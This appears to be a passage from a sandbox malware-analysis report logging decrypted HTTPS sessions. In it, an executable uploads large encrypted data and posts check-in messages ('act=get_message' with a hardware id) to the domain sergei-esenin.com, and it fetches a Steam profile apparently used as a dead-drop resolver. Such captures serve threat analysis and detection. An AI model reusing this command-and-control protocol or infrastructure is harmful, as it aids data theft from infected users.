2024-10-24 16:08:10 UTC	15331	OUT	Data Raw: 9b a8 38 84 8a 2c c6 1d 0f 57 74 69 be 1f bf 44 6d c7 19 5e 00 df 97 b2 08 1d 75 c7 e9 97 5a c3 03 ed d0 98 b7 5f fa 6d 87 49 fe c6 19 6d bc a9 b2 a0 4f e9 68 ea 29 a0 51 9a a5 00 0a 32 5f 84 46 a2 5e a6 e5 b0 98 5e 55 d9 b8 b7 6f 20 ac 0c 3b b8 c4 53 39 11 e9 36 df d6 cc df bb 71 23 78 c2 75 97 64 df 31 83 02 b3 03 b8 d7 0a 04 dc 3b 6c 87 89 2e 02 c0 5a b6 79 81 d9 1f 85 48 38 39 8d 5a eb 09 68 17 10 11 37 32 bc fa 56 68 56 80 68 9b 54 60 0d 0a ec 5d 89 4a 19 57 c9 54 43 5c 9f 0a c8 3d 22 53 b0 0b d8 9d 48 23 98 c2 a9 26 64 42 76 2f c6 ab e6 07 61 b5 3b 4e 91 28 2e c8 c7 77 09 45 1e 8e a0 3a 4d 71 4d 7e 92 a5 c5 6b 89 fb 42 cb 0c 30 ba fe b7 de 1c c1 da 71 eb f8 4d 2e 83 94 2c 93 9f e0 2d 06 c1 0b fc 78 88 cf 82 c8 7c 6c 80 50 c3 ae 9f 25 9e 9d 78 e3 7a Data Ascii: 8,WtiDm^uZ_mImOh)Q2_F^^Uo ;S96q#xud1;l.ZyH89Zh72VhVhT`]JWTC\="SH#&dBv/a;N(.wE:MqM~kB0qM.,-x\|lP%xz
2024-10-24 16:08:10 UTC	15331	OUT	Data Raw: 6e a9 35 f4 c2 ad 9e a2 a1 08 be f2 79 26 b1 31 5a 26 9e 27 4c a7 53 6a 4e ee f7 9d ec 55 2c 7e 55 24 38 e5 83 e6 1a e3 fa 56 12 c0 db 1b ef bb 4f 2b 77 b7 9c 0a 4e 01 20 41 56 66 ec e2 6c 5a 31 be 2f 28 db d5 6a 8c e7 90 56 93 5f 00 4b 89 4f e6 e1 be 02 2d ce 4d 9d 64 94 81 17 28 dd 6e 74 9d 3d 77 86 d9 b0 76 d0 ce f3 ae 31 7e 73 fc 7d d1 87 ea 4e c8 1d d1 3c e8 e1 ad e8 f6 c4 fb 64 3a 09 3f 9f bf 3a 5c 51 e9 da 6a 72 2c 9c 3a ee b7 b2 f9 f7 f1 83 71 15 b2 19 1c 70 9f c1 4c af 4f 5f cf ac b0 d3 00 4b 8f 78 41 fe 60 b7 b6 fa 5a 2d 7f 97 ee fc 5a f3 2b 41 f3 d0 c1 9e c9 66 6a c0 e6 6f 36 9a 9e 3f a8 89 85 18 89 17 99 41 e6 db 7b 0b ef e5 0f 6d 54 8c 47 6b 53 85 ab d6 98 c9 a9 bc 04 30 5f 65 ae 16 3f 38 e4 ff 00 07 37 63 99 bb 00 43 fc a5 a3 24 60 96 74 60 Data Ascii: n5y&1Z&'LSjNU,~U$8VO+wN AVflZ1/(jV_KO-Md(nt=wv1~s}N<d:?:\Qjr,:qpLO_KxA`Z-Z+Afjo6?A{mTGkS0_e?87cC$`t`
2024-10-24 16:08:10 UTC	15331	OUT	Data Raw: f8 2b 2c 63 8f 44 34 fb ca 57 b2 5c 1f ad fe 88 a1 81 77 c8 5e f9 e9 1f 7d 93 87 51 b0 0b d3 fc 71 09 98 b3 dc 6e 10 ea 74 56 96 88 78 d3 05 db cd 7b da 01 18 35 ae 9e 10 00 a9 d1 f3 77 35 a4 81 98 2e 30 05 ad e5 c0 43 dc 68 f8 11 bd 7a 6f df 45 ba 18 08 44 71 fa c3 e8 28 20 71 07 37 f6 83 67 d9 0f c2 b2 7f 41 0c 11 f6 b3 f8 fc fd 0b 49 e3 db 47 c8 20 7a 65 76 3e 16 2e 97 bb 81 b2 03 ee b2 61 62 c0 2e 3b ab a0 b5 19 7f 29 32 be 1c eb 75 f2 69 9b a3 fe 9c e5 48 75 cc cd 49 9e 0e 49 58 4a 68 8f c8 9f de 14 a6 06 61 b3 64 bb 4d 67 86 9c 28 2a 12 0e f7 44 9f 07 78 88 7d 5a 0a cb 45 30 00 b4 a1 c3 a8 dc 83 14 d1 57 d5 7e 96 11 bb 46 b8 3a 9e 38 c7 86 63 a2 79 04 ee fe f9 6e f4 47 b7 19 fb 87 8f dc 37 ed 91 8a 44 cc b3 5c 3c 77 72 5a 9e 44 20 1a 1b 0b f3 60 4d Data Ascii: +,cD4W\w^}QqntVx{5w5.0ChzoEDq( q7gAIG zev>.ab.;)2uiHuIIXJhadMg(*Dx}ZE0W~F:8cynG7D\<wrZD `M
2024-10-24 16:08:10 UTC	15331	OUT	Data Raw: 3c 3e 5d 42 db 78 df 50 f7 89 e6 3c 53 5e 3a bd 4b 98 cc 70 88 0c 46 6d 82 8d 6b 4b 9d 1b af de 73 6f ad 8c 83 69 51 60 77 61 7b a7 32 e2 0f fe 87 86 cf e6 03 82 4f 3e 1f 78 bf 07 8d b8 27 20 65 12 14 c8 e2 a7 b9 41 da 85 18 ea 2b 08 ae 94 53 03 dd 09 67 40 41 6a af 26 14 74 48 b1 40 14 fc 91 eb 93 3b e9 e3 3e ec bc 1f 34 6e 6e f7 4f eb c5 a7 9c e1 99 7f 67 37 b3 00 5b 5d a4 bf c7 73 61 a7 af 2e db 64 3a f3 a0 7a b3 d5 6b d2 45 65 a3 40 38 21 52 36 35 f2 1e d7 8e 8e a3 9f 9c f7 4d 4a f0 e5 19 f2 ae f8 bf 25 22 1e 3f fd 6c f1 53 01 f2 93 c8 56 fe 63 c4 63 e0 18 a2 12 9d fe 66 84 f2 fe a0 1d dc 29 c3 90 9d dd 81 ba 76 3a 1e 45 e2 d1 40 5d 10 a9 1d b3 f6 43 9f 9b 01 44 17 79 84 72 ae e9 a8 11 ba 62 e0 52 f2 eb 27 4f 59 59 bb 15 26 f9 30 5b e8 79 eb c6 2c f5 Data Ascii: <>]BxP<S^:KpFmkKsoiQ`wa{2O>x' eA+Sg@Aj&tH@;>4nnOg7[]sa.d:zkEe@8!R65MJ%"?lSVccf)v:E@]CDyrbR'OYY&0[y,
2024-10-24 16:08:10 UTC	15331	OUT	Data Raw: 47 97 c6 a3 15 a4 16 7f b9 81 ad f6 d3 30 a9 7d 70 29 dc b0 50 c0 e3 de 42 2c 60 62 87 be bd 28 53 d6 48 bc be 5a 40 49 80 a9 d6 46 27 c2 74 fa d0 8a 1a 03 d0 32 ee d0 04 40 b3 93 dc d8 ba fc dd 7b dd a1 49 cb e3 71 f9 39 76 29 57 3e 17 2f 0b 86 b4 4e 8e 86 9f 5c 78 fc 6e 37 a2 ac a5 fe d2 e8 e7 5b ad 82 2f 51 97 0b 6e 2e ac 2e 92 89 c8 85 ff 3d 6a 59 86 5c 74 ee db 62 34 cb 1d 19 fb 4e f8 7c f9 73 36 4f eb cd 68 4e c2 77 f6 c6 68 22 6d 45 91 b1 83 a5 e0 41 1c 1e 9b 9c a5 04 7f 50 61 b0 7f 71 e3 d0 69 51 70 aa 9a 98 79 e6 9e 09 cf 53 8e f5 43 53 5e 70 32 f5 60 5e 0e df 42 db a2 9b 23 f5 cd 56 49 f4 fc ea 2b 02 6f b2 f8 8d 6f d7 61 66 b4 ba c7 9e 57 23 ef ab 6c 11 d9 87 ed 34 b8 bf ac c3 a8 aa e0 83 4e 97 1e 12 89 8b 55 ab e6 9a b0 63 da 54 8e 7e 7f f9 d6 Data Ascii: G0}p)PB,`b(SHZ@IF't2@{Iq9v)W>/N\xn7[/Qn..=jY\tb4N\|s6OhNwh"mEAPaqiQpySCS^p2`^B#VI+ooafW#l4NUcT~
2024-10-24 16:08:10 UTC	15331	OUT	Data Raw: e0 e8 7b 7a 8d 53 1a b6 9a 04 9a 16 6f 8a 0d b4 bf 84 8d 80 36 02 31 2c 83 a3 e8 db df 51 e9 bc b1 b0 5f 4d e9 89 42 3e 30 83 83 ca a8 76 14 fb 71 36 de ef 9a 79 fd c5 6d ff 93 17 82 cf 5f 69 b3 57 d3 5a 7c 5f 35 0b 5d b2 3b 8b 35 4a 37 28 3c 57 2a fc 60 aa 6c d5 e0 ad a6 ad ad 38 4b 56 73 1f 53 29 dd f5 da 29 ed 36 29 87 f3 52 7c a6 a4 c0 a0 e5 b6 c4 18 87 0f 7b a2 e9 3e cb bb c2 83 de 2d 6c 41 d8 ab ec 18 2d 9a b1 e8 fd da a2 a5 57 e9 e6 c7 86 06 d1 ad d3 72 88 73 91 d4 55 de 81 15 29 ca 38 8e 96 6a 5c b4 59 9c bb 51 f0 2d 20 85 a2 cf b9 ff a2 d9 23 5f ee f9 fb 94 ad db ec 9c d1 0f e5 a2 5c af db e5 36 75 d2 d6 67 6d cc de d3 6f 96 ce df 6e 7e f7 ea 6d e8 f4 a3 9c f6 95 10 c1 45 66 5b d6 7e cb 5c 29 85 8a 2b 42 e4 72 1b 71 ee 1b c4 91 f9 57 2f a7 dc 3e Data Ascii: {zSo61,Q_MB>0vq6ym_iWZ\|_5];5J7(<W*`l8KVsS))6)R\|{>-lA-WrsU)8j\YQ- #_\6ugmon~mEf[~\)+BrqW/>
2024-10-24 16:08:12 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:08:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=324jl8117rgki5r8t867bm1r9g; expires=Mon, 17 Feb 2025 09:54:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yF9pXyVQpZAa90vMPz8Zg9Vif%2BjuQF16AMBwLU0mXJFhQ%2FYmbgxtlXNKiSKdnElBxY2woDRFOmecpvKdcchLF9nWF%2Buxu5YtjA2kD2lKuB7M2cvbKH8LE9CBaDNJYe6Z%2BuLjSg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b39597efee7bb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1442&sent=237&recv=643&lost=0&retrans=0&sent_bytes=2844&recv_bytes=590285&delivery_rate=2035137&cwnd=251&unsent_bytes=0&cid=3b2bd10d6c2f672c&ts=1977&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49739	104.21.53.8	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:08:13 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=s4KtrosmuKQTdrzDnA.N9P1uz_p8Uae3P7mA5HUEw54-1729786082-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 16:08:13 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=B7E07B8EE60D2CFC067A49FF382A23CE
2024-10-24 16:08:13 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:08:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=abemee5jeqn9kpca5326idutgr; expires=Mon, 17 Feb 2025 09:54:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zL4OTYPv%2B1qoMoJTTMm7SE8aDnjD0KknhlmzPc5bT56Zmd77BIKEHNjq5cgkbnFsTZf7AghU%2F%2BnVRdbMI2NIc%2F%2B7FrZsW67O6rMrXyG0WaQBEk6PMrwZXXJXLod1LHHBtWcuuA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b396aadac4776-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2354&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=1190300&cwnd=251&unsent_bytes=0&cid=d52b697f6b4b7b2c&ts=359&x=0"
2024-10-24 16:08:13 UTC	299	IN	Data Raw: 31 32 34 0d 0a 6b 58 51 75 30 68 2f 56 36 31 2f 6f 34 34 56 48 61 71 68 6c 67 4c 44 6b 62 6c 38 34 67 67 6a 63 32 57 2b 6b 38 52 50 41 31 36 44 4b 44 77 79 6e 50 65 2f 4a 4e 35 79 58 39 58 30 32 68 7a 6d 76 67 64 78 62 63 51 71 7a 50 66 4c 6f 58 70 66 66 49 76 61 4c 6a 2f 77 64 51 4c 64 44 2b 70 6b 2b 68 6f 66 71 4b 6b 54 4e 48 65 57 53 79 45 77 35 54 4b 41 79 37 50 56 4e 77 64 4d 70 38 4b 71 4d 36 6c 5a 62 38 43 58 33 67 79 75 63 6b 37 38 62 52 66 52 4b 73 59 6a 52 51 47 30 4a 74 79 62 74 36 46 79 4b 77 43 57 63 2b 4e 50 6c 45 55 2b 2f 51 2f 71 5a 50 6f 61 48 36 69 70 45 7a 52 33 6c 6b 73 68 4d 4f 55 79 67 4d 75 7a 31 54 63 48 54 4b 66 43 71 6a 4f 70 57 57 2f 41 6c 39 34 4d 72 6e 4a 4f 2f 47 30 58 30 53 72 47 49 30 55 42 74 43 62 63 6d 37 65 68 63 69 73 Data Ascii: 124kXQu0h/V61/o44VHaqhlgLDkbl84ggjc2W+k8RPA16DKDwynPe/JN5yX9X02hzmvgdxbcQqzPfLoXpffIvaLj/wdQLdD+pk+hofqKkTNHeWSyEw5TKAy7PVNwdMp8KqM6lZb8CX3gyuck78bRfRKsYjRQG0Jtybt6FyKwCWc+NPlEU+/Q/qZPoaH6ipEzR3lkshMOUygMuz1TcHTKfCqjOpWW/Al94MrnJO/G0X0SrGI0UBtCbcm7ehcis
2024-10-24 16:08:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49995	104.102.49.254	443	6976	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:17 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 16:09:18 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 16:09:17 GMT Content-Length: 26105 Connection: close Set-Cookie: sessionid=14a069e6677fb5a07d6a2b8f; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 16:09:18 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 16:09:18 UTC	11638	IN	Data Raw: 22 3f 6c 3d 74 63 68 69 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 63 68 69 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e7 b9 81 e9 ab 94 e4 b8 ad e6 96 87 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 20 43 68 69 6e 65 73 65 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 6a 61 70 61 6e 65 73 65 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6a 61 70 61 6e 65 73 65 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e6 97 a5 e6 9c ac e8 aa 9e 20 28 4a Data Ascii: "?l=tchinese" onclick="ChangeLanguage( 'tchinese' ); return false;"> (Traditional Chinese)</a><a class="popup_menu_item tight" href="?l=japanese" onclick="ChangeLanguage( 'japanese' ); return false;"> (J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50002	104.102.49.254	443	4020	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:30 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 16:09:30 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 16:09:30 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=45588faa70f6b7aeeef6d88a; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 16:09:30 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 16:09:30 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 16:09:30 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 16:09:30 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50003	104.21.53.8	443	4020	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:31 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 16:09:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 16:09:31 UTC	562	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 16:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZqWZHzPoRHt5jTPR%2FLd5ph90vo5RgBXdXLba3UG9HB%2BwiAitOuyZIByDVOlpMgdPMEgji4xKBH29hWXBAaZ0%2Be2tXsM3pdjxPcbv8N05AwuoQA7OlmMnyz%2B5z34SemQ2j0Nkgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3b5319784782-DFW
2024-10-24 16:09:31 UTC	807	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 